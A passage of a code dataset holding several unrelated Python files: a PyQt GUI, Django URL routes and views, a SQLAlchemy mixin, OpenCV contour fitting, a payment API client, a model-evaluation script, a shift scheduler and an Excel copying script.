g_window()\r\n\r\n t_ui = t_window()\r\n i_d_ui = in_dev_infor()\r\n a_t_ui = add_test()\r\n a_p_ui = a_p_window()\r\n functions_class = func(t_ui,a_t_ui)\r\n functions_class.read_exception()\r\n ui.show()\r\n sys.exit(app.exec_())\r\n# queueList\r\n# reportList", "sub_path": "GUI/gamma_demo/main_ui_test/mainwindow.py", "file_name": "mainwindow.py", "file_ext": "py", "file_size_in_byte": 24799, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "sys.path.insert", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "functools.wraps", "line_number": 51, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 64, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 64, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 71, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 71, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 80, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 80, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 88, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 88, "usage_type": "name"}, {"api_name": "ui_main.Ui_MainWindow", "line_number": 88, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMainWindow.__init__", "line_number": 92, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 92, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 92, "usage_type": "name"}, {"api_name": "ui_main.Ui_MainWindow.__init__", "line_number": 93, "usage_type": "call"}, {"api_name": "ui_main.Ui_MainWindow", "line_number": 93, "usage_type": "name"}, {"api_name": "webbrowser.open", "line_number": 104, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 113, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 113, "usage_type": "name"}, {"api_name": "guide_ui.Ui_GuideWindow", "line_number": 113, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMainWindow.__init__", "line_number": 115, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 115, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 115, "usage_type": "name"}, {"api_name": "guide_ui.Ui_GuideWindow.__init__", "line_number": 116, "usage_type": "call"}, {"api_name": "guide_ui.Ui_GuideWindow", "line_number": 116, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 173, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 173, "usage_type": "name"}, {"api_name": "test_ui_d.test_ui.Ui_TestWindow", "line_number": 173, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMainWindow.__init__", "line_number": 183, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 183, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 183, "usage_type": "name"}, {"api_name": "test_ui_d.test_ui.Ui_TestWindow.__init__", "line_number": 184, "usage_type": "call"}, {"api_name": "test_ui_d.test_ui.Ui_TestWindow", "line_number": 184, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.about", "line_number": 213, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 213, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 346, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 346, "usage_type": "name"}, {"api_name": "test_ui_d.in_device_infor.Ui_In_dev_infor", "line_number": 346, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog.__init__", "line_number": 349, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 349, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 349, "usage_type": "name"}, {"api_name": "test_ui_d.in_device_infor.Ui_In_dev_infor.__init__", "line_number": 350, "usage_type": "call"}, {"api_name": "test_ui_d.in_device_infor.Ui_In_dev_infor", "line_number": 350, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 379, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 379, "usage_type": "name"}, {"api_name": "test_ui_d.add_test_ui.Ui_Add_test", "line_number": 379, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog.__init__", "line_number": 385, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 385, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 385, "usage_type": "name"}, {"api_name": "test_ui_d.add_test_ui.Ui_Add_test.__init__", "line_number": 387, "usage_type": "call"}, {"api_name": "test_ui_d.add_test_ui.Ui_Add_test", "line_number": 387, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 567, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 567, "usage_type": "name"}, {"api_name": "test_ui_d.add_point.Ui_addPointWindow", "line_number": 567, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDialog.__init__", "line_number": 570, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 570, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 570, "usage_type": "name"}, {"api_name": "test_ui_d.add_point.Ui_addPointWindow.__init__", "line_number": 571, "usage_type": "call"}, {"api_name": "test_ui_d.add_point.Ui_addPointWindow", "line_number": 571, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 575, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 575, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 582, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 582, "usage_type": "attribute"}, {"api_name": "Test_Ui_Functions.TestUiFunctionsClass", "line_number": 590, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 593, "usage_type": "call"}]} {"seq_id": "432702700", "text": "from django.conf.urls import url\nfrom . import views\n\n\n\nurlpatterns = [\n url(r'^$',views.dashboard ,name='home'),\n url(r'add-task/',views.add_task,name='task'),\n url(r'view-task/(?P<pk>[0-9a-z-]+)/$',views.view_task,name='view_task'),\n url(r'edit-task/(?P<pk>[0-9a-z-]+)/$',views.edit_task,name='edit_task'),\n url(r'delete-task/(?P<pk>[0-9a-z-]+)/$',views.delete_task,name='delete'),\n\n]\n\n\n\n\n\n\n\n", "sub_path": "dashboard/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 409, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}]} {"seq_id": "4795210", "text": "from sqlalchemy import ForeignKey,Column,Integer\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.ext.declarative import declared_attr\n\nclass AddressMixin(object):\n @declared_attr\n def user_id(cls):\n return Column(Integer, ForeignKey('users.id'))\n\n @declared_attr\n def user(cls):\n relationship(\"User\", back_populates=\"addresses\")\n\n\n\n", "sub_path": "AddressMixinModule.py", "file_name": "AddressMixinModule.py", "file_ext": "py", "file_size_in_byte": 366, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlalchemy.Column", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 8, "usage_type": "argument"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.declarative.declared_attr", "line_number": 6, "usage_type": "name"}, {"api_name": "sqlalchemy.orm.relationship", "line_number": 12, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.declarative.declared_attr", "line_number": 10, "usage_type": "name"}]} {"seq_id": "28478714", "text": "import cv2\r\nimport numpy as np\r\n\r\n#画像の読み込み\r\nimg = cv2.imread(\"C:\\\\Users\\\\tuzuk\\\\Desktop\\\\hand_gau_draw .JPG\")\r\n\r\n\r\n#塗りつぶし\r\nheight, width, channels = img.shape[:3]\r\n\r\nprint(\"width: \" + str(width))\r\nprint(\"height: \" + str(height))\r\n\r\ncv2.rectangle(img, (1, height), (width, 1), (0, 0, 0), thickness=30, lineType=cv2.LINE_4)\r\n\r\ncv2.imwrite(\"C:\\\\Users\\\\tuzuk\\\\Desktop\\\\CIMG4192.JPG\", img)\r\n\r\n\r\n#ガウスのぼかし処理\r\ngau=cv2.GaussianBlur(img,(5,5),0)\r\n \r\n#グレースケール化\r\ngray = cv2.cvtColor(gau, cv2.COLOR_BGR2GRAY) \r\n \r\n#２値化\r\nret, th = cv2.threshold(gray,0,255,cv2.THRESH_OTSU)\r\ncv2.imwrite(\"C:\\\\Users\\\\tuzuk\\\\Desktop\\\\hand_gau_draw.JPG\", th)\r\n\r\n#\r\nsrc = np.array(th, dtype = \"float32\")\r\n\r\n\r\nif len(src.shape) == 3:\r\n height, width, channels = src.shape[:3]\r\nelse:\r\n height, width = src.shape[:2]\r\n \r\n channels = 1\r\n \r\n print(\"dtype(src) \" + str(src.dtype))\r\n\r\n#輪郭抽出\r\nimage, contours, hierarchy = cv2.findContours(th, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\ncnt = contours[0]\r\n\r\nprint(\"dtype(cnt): \" + str(cnt.dtype))\r\n\r\ncnt_ = np.array(cnt, dtype = \"float32\")\r\n\r\nprint(\"dtype(cnt_): \" + str(cnt_.dtype))\r\n\r\n#楕円フィッティング\r\nellipse = cv2.fitEllipse(cnt)\r\nimg = cv2.ellipse(img,ellipse,(0,255,0),2)\r\nimg = cv2.circle(img, ellipse, 8, (0, 0, 255), -1)\r\n\r\n\r\n\r\n#焦点\r\nprint(ellipse)\r\n\r\ncv2.imwrite(\"C:\\\\Users\\\\tuzuk\\\\Desktop\\\\hand_gau_draw.JPG\",img)\r\n\r\nprint(\"OK\")", "sub_path": "輪郭関係/重心.py", "file_name": "重心.py", "file_ext": "py", "file_size_in_byte": 1467, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.imread", "line_number": 5, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.LINE_4", "line_number": 14, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 16, "usage_type": "call"}, {"api_name": "cv2.GaussianBlur", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 23, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 43, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 43, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 43, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.fitEllipse", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.ellipse", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 63, "usage_type": "call"}]} {"seq_id": "350563474", "text": "\"\"\"\nMango Python Library Client\n\"\"\"\nimport json\n\nimport requests\nfrom requests.exceptions import ConnectionError\n\nfrom .error import UnableToConnect, AuthenticationError, NotFound, \\\n InputValidationError, InputValidationGenericError, \\\n UnhandledError, MethodNotAllowed\n\n\nBASE_URL = \"https://api.getmango.com\"\nHEADERS = {\"content-type\": \"application/json\"}\n\n\ndef req(api_key, method, endpoint, data=None, params=None):\n \"\"\"\n Make request and return a Python object from the JSON response. If\n HTTP method is DELETE return True for 204 response, false otherwise.\n\n :param api_key: String with the API key\n :param method: String with the HTTP method\n :param endpoint: String with the URL\n :param data: Dictionary with data that will be sent\n :param params: Dictionary with query strings\n :return: Native python object resulting of the JSON deserialization of the API response\n \"\"\"\n if data:\n data = json.dumps(data)\n\n try:\n response = requests.request(\n method,\n build_url(endpoint),\n data=data,\n params=params,\n auth=(api_key, \"\"),\n headers=HEADERS\n )\n except ConnectionError:\n raise UnableToConnect\n\n # Success\n if 200 <= response.status_code <= 206:\n if response.request.method == \"DELETE\":\n return response.status_code == 204 or response.status_code == 200\n\n return response.json()\n\n # Error handling\n if response.status_code == 400:\n try:\n input_validation_error = response.json()\n errors = input_validation_error.get(\"errors\")[0]\n error_code, error_message = errors.items()[0]\n except:\n raise InputValidationGenericError(\"{status_code}: {text}\".format(\n status_code=response.status_code,\n text=response.text\n ))\n raise InputValidationError(error_code, error_message)\n elif response.status_code == 401:\n raise AuthenticationError\n elif response.status_code == 404:\n raise NotFound\n elif response.status_code == 405:\n raise MethodNotAllowed\n\n raise UnhandledError(\"{status_code}: {text}\".format(\n status_code=response.status_code,\n text=response.text\n ))\n\n\ndef build_url(endpoint):\n \"\"\"\n Build complete URL from API endpoint\n\n :param endpoint: String with the endpoint, ex: /v1/charges/\n :return: String with complete URL, ex: https://api.getmango.com/v1/charges/\n \"\"\"\n return \"{base_url}/{endpoint}\".format(\n base_url=BASE_URL,\n endpoint=endpoint\n )\n", "sub_path": "pymango/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 2621, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.dumps", "line_number": 31, "usage_type": "call"}, {"api_name": "requests.request", "line_number": 34, "usage_type": "call"}, {"api_name": "requests.exceptions.ConnectionError", "line_number": 42, "usage_type": "name"}, {"api_name": "error.UnableToConnect", "line_number": 43, "usage_type": "name"}, {"api_name": "error.InputValidationGenericError", "line_number": 59, "usage_type": "call"}, {"api_name": "error.InputValidationError", "line_number": 63, "usage_type": "call"}, {"api_name": "error.AuthenticationError", "line_number": 65, "usage_type": "name"}, {"api_name": "error.NotFound", "line_number": 67, "usage_type": "name"}, {"api_name": "error.MethodNotAllowed", "line_number": 69, "usage_type": "name"}, {"api_name": "error.UnhandledError", "line_number": 71, "usage_type": "call"}]} {"seq_id": "286526489", "text": "# evaluate using two eyes\nimport glob\nimport os\nimport pandas as pd\nimport torch\nfrom tqdm import tqdm\nimport torchvision.datasets as datasets\nimport torchvision.transforms as transforms\nfrom torchvision import models\nfrom pytorch.model_helper import select_model, select_metric\nimport joblib\nimport numpy as np\nfrom pytorch.dual_data_helper import create_data_loader, create_dual_test_label_df, create_dual_label_df\nfrom active_learning.extract_features import extract_dual_features\n\n\n# main_model_dir = \"torch_models\" #torch_models\n\nmain_model_dir = \"/media/workstation/Storage/Test/AL/al_val_v01\" #torch_models\nmain_model_dir = \"torch_models\"\ntrain_name = \"dual_xception_higherlr_v03\"\nmodel_type = \"dual_xception\"\nbest = \"best_acc_\"\nsize = 400 \nworkers = 6\n\nmetric_type = \"softmax\"\nmodel=select_model(model_type, {})\n\nPATH = f\"{main_model_dir}/{train_name}/{best}model.pth\"\nPATH2 = f\"{main_model_dir}/{train_name}/{best}metric_fc.pth\"\n\nmetric_fc = select_metric(metric_type, num_ftr = 1000, num_classes = 5)\n\nmodel.load_state_dict(torch.load(PATH))\nmetric_fc.load_state_dict(torch.load(PATH2))\nmodel.eval()\nmetric_fc.eval()\n\n\n####\n\nimport random\nkk = 100\ndef create_test():\n fdf = create_dual_test_label_df()\n # fdf = fdf.sample(n=, random_state=123)\n data_loader = create_data_loader(fdf, size, batch_size = 2, workers = workers)\n return data_loader,fdf\n\ndef create_train():\n df = create_dual_label_df()\n df = df.sample(n=100*kk, random_state=123)\n data_loader = create_data_loader(df, size, batch_size = 2, workers = workers)\n return data_loader, df\n\ntest_loader, fdf2 = create_test()\ntrain_loader, fdf = create_train()\n\nf_test, y = extract_dual_features(model, test_loader)\nf, y = extract_dual_features(model, train_loader)\nfdf[\"concat_features\"] = [j for j in f]\nfdf2[\"concat_features\"] = [j for j in f_test]\nX_test_final = np.array(fdf2[\"concat_features\"].values.tolist())\n\nprint(f[0].shape)\nn1 = 80*kk\nf1 = fdf.iloc[:n1,:]\nf2 = fdf.iloc[n1:, :]\n\nX_train = np.array(f1[\"concat_features\"].values.tolist())\ny_train = f1[\"labels_x\"].values\nX_test = np.array(f2[\"concat_features\"].values.tolist())\ny_test = f2[\"labels_x\"].values\nprint(X_train.shape, y_train.shape)\nprint(X_test.shape, y_test.shape)\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.datasets import make_classification\nfrom evaluate.metrics import accuracy, avg_acc, get_cm\nfrom custom_math.kappa import quadratic_kappa\nclf = RandomForestClassifier(max_depth=10, random_state=12)\nclf.fit(X_train, y_train)\n\ny_pred_train = clf.predict(X_train)\ny_pred_test = clf.predict(X_test)\ny_pred_test_final = clf.predict(X_test_final)\nprint(y_test.shape, y_pred_test.shape)\nprint(y_train.shape, y_pred_train.shape)\nprint(X_test_final.shape, y_pred_test_final.shape)\n\ny_pred_train, y_train = y_pred_train.astype(int), y_train.astype(int)\ny_pred_test, y_test = y_pred_test.astype(int), y_test.astype(int)\n\nacc = accuracy(y_train, y_pred_train)\nacc2 = accuracy(y_test, y_pred_test)\nqk1 = quadratic_kappa(y_train, y_pred_train)\nqk2 = quadratic_kappa(y_test, y_pred_test)\ncm1 = get_cm(y_train, y_pred_train)\ncm2 = get_cm(y_test, y_pred_test)\n\nprint(acc, acc2)\nprint(qk1, qk2)\nprint(cm1)\nprint(cm2)\n\n\nimport joblib\njoblib.dump(y_pred_test_final, \"y_pred_test_final.pkl\")\njoblib.dump(X_test_final, \"X_test_final.pkl\")\nfdf2.to_csv(\"final_test.csv\")", "sub_path": "fyp/archive/backup/sample_sub.py", "file_name": "sample_sub.py", "file_ext": "py", "file_size_in_byte": 3338, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pytorch.model_helper.select_model", "line_number": 28, "usage_type": "call"}, {"api_name": "pytorch.model_helper.select_metric", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 36, "usage_type": "call"}, {"api_name": "pytorch.dual_data_helper.create_dual_test_label_df", "line_number": 46, "usage_type": "call"}, {"api_name": "pytorch.dual_data_helper.create_data_loader", "line_number": 48, "usage_type": "call"}, {"api_name": "pytorch.dual_data_helper.create_dual_label_df", "line_number": 52, "usage_type": "call"}, {"api_name": "pytorch.dual_data_helper.create_data_loader", "line_number": 54, "usage_type": "call"}, {"api_name": "active_learning.extract_features.extract_dual_features", "line_number": 60, "usage_type": "call"}, {"api_name": "active_learning.extract_features.extract_dual_features", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 73, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 82, "usage_type": "call"}, {"api_name": "evaluate.metrics.accuracy", "line_number": 95, "usage_type": "call"}, {"api_name": "evaluate.metrics.accuracy", "line_number": 96, "usage_type": "call"}, {"api_name": "custom_math.kappa.quadratic_kappa", "line_number": 97, "usage_type": "call"}, {"api_name": "custom_math.kappa.quadratic_kappa", "line_number": 98, "usage_type": "call"}, {"api_name": "evaluate.metrics.get_cm", "line_number": 99, "usage_type": "call"}, {"api_name": "evaluate.metrics.get_cm", "line_number": 100, "usage_type": "call"}, {"api_name": "joblib.dump", "line_number": 109, "usage_type": "call"}, {"api_name": "joblib.dump", "line_number": 110, "usage_type": "call"}]} {"seq_id": "592178041", "text": "import pandas as pd \nimport numpy as np\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\n\npositions_info = {\n 'operational': {\n 'positions': 8,\n 'hours': 8,\n 'rest': 12, \n 'start': 7, \n },\n 'nowcasting': {\n 'positions': 2,\n 'daily_min': 1,\n 'hours': 12,\n 'rest': 24,\n 'start': 7, \n },\n 'nowcasting_night': {\n 'positions': 2,\n 'hours': 12,\n 'rest': 24, \n 'start': 19, \n },\n 'tv':{\n 'positions': 1,\n 'hours': 8,\n 'rest': 12,\n 'start': 7,\n }}\n\nemployee = {\n 'lucas': {\n 'position': ['nowcasting'],\n 'start': 7,\n },\n 'maria': {\n 'position': ['nowcasting'],\n 'start': 19,\n },\n 'joão': {\n 'position': ['nowcasting_night'],\n 'start': 7,\n 'training': True\n },\n 'bob': {\n 'position': ['nowcasting_night'],\n 'start': 19,\n 'weekend': False\n }\n}\n\nclass position(object):\n def __init__(self, daterange):\n self.shift_columns = daterange\n self.shift = np.ones(len(self.shift_columns))\n\n def shift_12h(self):\n for day in range(len(self.shift_columns)):\n if day%2==0:\n self.shift[day]=0\n\n def shift_8h(self): \n for day in range(len(self.shift_columns)):\n if self.shift_columns[day].weekday() >=5:\n self.shift[day]=0\n\n def add_weekend(self, day_index):\n self.shift[day_index] = 1\n\n\n\ndef get_weekends(daterange):\n weekends = []\n for day in range(len(daterange)):\n if daterange[day].weekday() >=5:\n weekends.append(day)\n return weekends\n\nfirst_day = datetime.today().replace(day=20)\nlast_day = first_day + relativedelta(months=+1)\nshift_columns = pd.date_range(first_day, last_day, freq='D')\n\n# get weekend's indexes\nweekend_indexes = get_weekends(shift_columns) \n# loop\nfor i in range(positions_info['nowcasting']['positions']):\n shifts = []\n new_position = position(shift_columns)\n new_position.shift_8h()\n\n\n\n# End loop\n\n\nmonth = pd.DataFrame(shifts)\n\n\n\nprint(month)", "sub_path": "scheaduler/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2170, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.ones", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 81, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 81, "usage_type": "name"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 82, "usage_type": "call"}, {"api_name": "pandas.date_range", "line_number": 83, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 98, "usage_type": "call"}]} {"seq_id": "42940549", "text": "#cont一个文件读取数据写入另外一个文件\nimport xlrd\nfrom xlutils.copy import copy\nread = xlrd.open_workbook('My Worksheet3.xls')\nwrite = xlrd.open_workbook('My Worksheet.xls')\nall_sheets_list=read.sheet_names()\nprint(\"All sheets name in File:\",all_sheets_list)\nfirst_sheet=read.sheet_by_index(0)\nreadrows = read.sheets()[0].nrows\nprint (readrows)\nfirst_row=first_sheet.row_values(1)\nprint(\"First row:\",first_row)\nwriterows = write.sheets()[0].nrows#\nwrite1 = copy(write)\nwrite = write1.get_sheet(0)\nfor item in range(1,readrows):\n print (item)\n tmp = first_sheet.row_values(item)\n print (tmp)\n write.write(writerows+item, 0,tmp[0])\n write.write(writerows + item, 1,tmp[1] )\n write.write(writerows + item, 2,tmp[2])\n#write1.save('My Worksheet.xls')", "sub_path": "baidu_crawl_site/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 779, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "xlrd.open_workbook", "line_number": 4, "usage_type": "call"}, {"api_name": "xlrd.open_workbook", "line_number": 5, "usage_type": "call"}, {"api_name": "xlutils.copy.copy", "line_number": 14, "usage_type": "call"}]} {"seq_id": "42618942", "text": "######################################################################################\n## This test is open-book. You may use class slides, textbook, notes, previous ##\n## assignments and Python. You may not use anything else including search engines, ##\n## on-line chatting tools, phones, etc. You may not discuss questions with anyone. ##\n## ##\n## By typing your name below, you indicate agreement with the UNC Honor Code Pledge,##\n## that you have not given or received unauthorized assistance on this exam. ##\n## Name: Liang Shan ## \n######################################################################################\n\n## This script will run as is but, of course, it doesn't yet produce\n## the desired results. Your mission is to modify it to get the outputs\n## requested.\n\nimport numpy as np\nfrom PIL import Image\n\ndef mask(im):\n '''\n (2D array)-->(2D array)\n Return a masked version of image im by a circle centered at the center of im with \n '''\n M, N = im.shape\n cx = M/2\n cy = N/2\n r = 250\n x,y = np.meshgrid(np.arange(M), np.arange(N))\n mask = (x-cx)**2 + (y-cy)**2 <= r**2\n return im*mask\n\nif __name__ == '__main__':\n im = np.asarray(Image.open('lena_gray.png'))\n im_new = mask(im)\n toSave = Image.fromarray(im_new).convert('L')\n toSave.save('P2_shan.png')\n", "sub_path": "Computer Science 116/final/P2_shan.py", "file_name": "P2_shan.py", "file_ext": "py", "file_size_in_byte": 1476, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.meshgrid", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 32, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 32, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 32, "usage_type": "name"}, {"api_name": "PIL.Image.fromarray", "line_number": 34, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 34, "usage_type": "name"}]} {"seq_id": "329059196", "text": "from django.shortcuts import render, redirect\nfrom core.models import Question, Answer, Favorite\nfrom django.contrib.auth.decorators import login_required\nfrom core.forms import QuestionCreateForm, AnswerCreateForm\nfrom django.shortcuts import get_object_or_404\nimport markdown\nimport bleach\nfrom bleach_whitelist import markdown_tags, markdown_attrs\nfrom django.core.mail import send_mail\n\n\n\n# Create your views here.\n\n\ndef index(request):\n \"\"\"View function for home page of site.\"\"\"\n\n # Generate counts of some of the main objects\n question_list = Question.objects.all()\n \n context = {\n 'question_list': question_list,\n }\n\n # Render the HTML template index.html with the data in the context variable\n return render(request, 'index.html', context=context)\n\n\ndef profile(request):\n \n question_list = Question.objects.all()\n fav_questions = Favorite.objects.filter(user=request.user, answer=None)\n authored_questions = Question.objects.filter(author=request.user)\n print(fav_questions)\n\n context = {\n 'fav_questions': fav_questions,\n 'authored_questions': authored_questions,\n 'question_list': question_list,\n }\n\n return render(request, 'profile.html', context=context)\n\n\ndef question_detail(request,pk):\n question = Question.objects.get(pk=pk)\n question_is_favorited = False\n favorited_answer_pk_list = []\n if request.user.is_authenticated:\n for fav in Favorite.objects.filter(user=request.user, question=question).all():\n if fav.answer:\n favorited_answer_pk_list.append(fav.answer.pk)\n if Favorite.objects.filter(user=request.user).filter(question=question).filter(answer=None).first():\n question_is_favorited = True\n return render(request, 'question_detail.html', {\n 'question' : question,\n 'question_is_favorited' : question_is_favorited,\n 'favorited_answer_pk_list' : favorited_answer_pk_list,\n })\n\n@login_required\ndef add_question(request):\n \"\"\"adds a question authored by the pk of the user\"\"\"\n # breakpoint()\n if request.method == 'POST':\n form = QuestionCreateForm(request.POST)\n if form.is_valid():\n title = form.cleaned_data['title']\n content = form.cleaned_data['content']\n content = markdown.markdown(content)\n content = bleach.clean(content, markdown_tags, markdown_attrs)\n new_question = Question(author=request.user,content=content,title=title)\n new_question.save()\n return redirect(to='home')\n else:\n form = QuestionCreateForm()\n\n return render(request, 'new-question.html', {\n 'form' : form,\n })\n\n@login_required\ndef delete_question(request, question_pk):\n target_question = get_object_or_404(Question, pk=question_pk)\n if request.user == target_question.author:\n target_question.delete()\n return redirect('home')\n\n\n# @login_required\n# def add_answer(request, pk):\n# \"\"\"adds a question authored by the pk of the user\"\"\"\n# target_question = get_object_or_404(Question, pk=pk)\n\n# if request.method == 'POST':\n# form = AnswerCreateForm(request.POST)\n# if form.is_valid():\n# content = form.cleaned_data['content']\n# new_answer = Answer(author=request.user,content=content, target_question=target_question)\n# new_answer.save()\n# url = request.build_absolute_uri(target_question.get_absolute_url())\n# if target_question.author.email:\n# send_answer_email(target_question, url)\n# return redirect(to='home')\n# else:\n# form = AnswerCreateForm()\n\n# return render(request, 'new-answer.html', {\n# 'form' : form,\n# 'target_question': target_question\n# })\n\n# def send_answer_email(target_question, url):\n\n# send_mail(\n# 'Your question has a new answer',\n# f'Hi {target_question.author}, \\nYour \"{target_question}\" has a new answer!\\nClick the link below to check it out:\\n{url}',\n# \"FROM\",\n# [f'{target_question.author.email}'],\n# fail_silently=False,\n# )\n", "sub_path": "core/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4183, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "core.models.Question.objects.all", "line_number": 20, "usage_type": "call"}, {"api_name": "core.models.Question.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "core.models.Question", "line_number": 20, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 27, "usage_type": "call"}, {"api_name": "core.models.Question.objects.all", "line_number": 